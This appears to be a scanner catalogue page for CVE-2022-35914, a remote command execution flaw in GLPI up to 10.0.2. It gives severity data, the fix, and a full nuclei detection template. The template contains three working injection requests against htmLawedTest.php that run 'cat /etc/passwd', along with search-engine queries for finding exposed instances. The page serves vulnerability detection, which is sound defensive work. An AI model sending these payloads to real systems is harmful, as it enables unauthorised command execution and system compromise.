GLPI <=10.0.2 - Remote Command Execution

Exploited in the wild. Listed by CISA on 2023-03-07; known to be used by ransomware.

criticalseverity

9.8CVSS score

99.9%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

GLPI through 10.0.2 is susceptible to remote command execution injection in /vendor/htmlawed/htmlawed/htmLawedTest.php in the htmlawed module.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary commands on the target system.

Fix

Upgrade GLPI to a version higher than 10.0.2 to mitigate this vulnerability.

How to confirm it

Send: POST /vendor/htmlawed/htmlawed/htmLawedTest.php
Send: POST /vendor/htmlawed/htmlawed/htmLawedTest.php
Send: POST /vendor/htmlawed/htmlawed/htmLawedTest.php
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2022-35914 -u <target>

The full check

id: CVE-2022-35914

info:
  name: GLPI <=10.0.2 - Remote Command Execution
  author: For3stCo1d,allendemoura
  severity: critical
  description: |
    GLPI through 10.0.2 is susceptible to remote command execution injection in /vendor/htmlawed/htmlawed/htmLawedTest.php in the htmlawed module.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary commands on the target system.
  remediation: |
    Upgrade GLPI to a version higher than 10.0.2 to mitigate this vulnerability.
  reference:
    - https://mayfly277.github.io/posts/GLPI-htmlawed-CVE-2022-35914
    - https://github.com/cosad3s/CVE-2022-35914-poc
    - http://www.bioinformatics.org/phplabware/sourceer/sourceer.php?&Sfs=htmLawedTest.php&Sl=.%2Finternal_utilities%2FhtmLawed
    - https://nvd.nist.gov/vuln/detail/CVE-2022-35914
    - https://github.com/glpi-project/glpi/releases
    - https://senderend.medium.com/pg-practice-box-deep-dive-glpi-c3a1cf1520f8
    - https://github.com/allendemoura/CVE-2022-35914
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-35914
    cwe-id: CWE-74
    epss-score: 0.99851
    epss-percentile: 0.99961
    cpe: cpe:2.3:a:glpi-project:glpi:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: glpi-project
    product: glpi
    shodan-query:
      - http.favicon.hash:"-1474875778"
      - http.title:"glpi"
    fofa-query:
      - icon_hash="-1474875778"
      - title="glpi"
    google-query: intitle:"glpi"
  tags: cve,cve2022,glpi,rce,kev,glpi-project,vkev,vuln
variables:
  cmd: "cat+/etc/passwd"
  execFunc1: "system"
  execFunc2: "passthru"

http:
  - raw:
      - |
        POST /vendor/htmlawed/htmlawed/htmLawedTest.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Cookie: sid=foo

        sid=foo&hhook=exec&text={{cmd}}
  - raw:
      - |
        POST /vendor/htmlawed/htmlawed/htmLawedTest.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Cookie: sid=foo

        sid=foo&text={{execFunc1}}&hfoo={{cmd}}&hhook=array_map
  - raw:
      - |
        POST /vendor/htmlawed/htmlawed/htmLawedTest.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Cookie: sid=foo

        sid=foo&text={{execFunc2}}&hfoo={{cmd}}&hhook=array_map

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from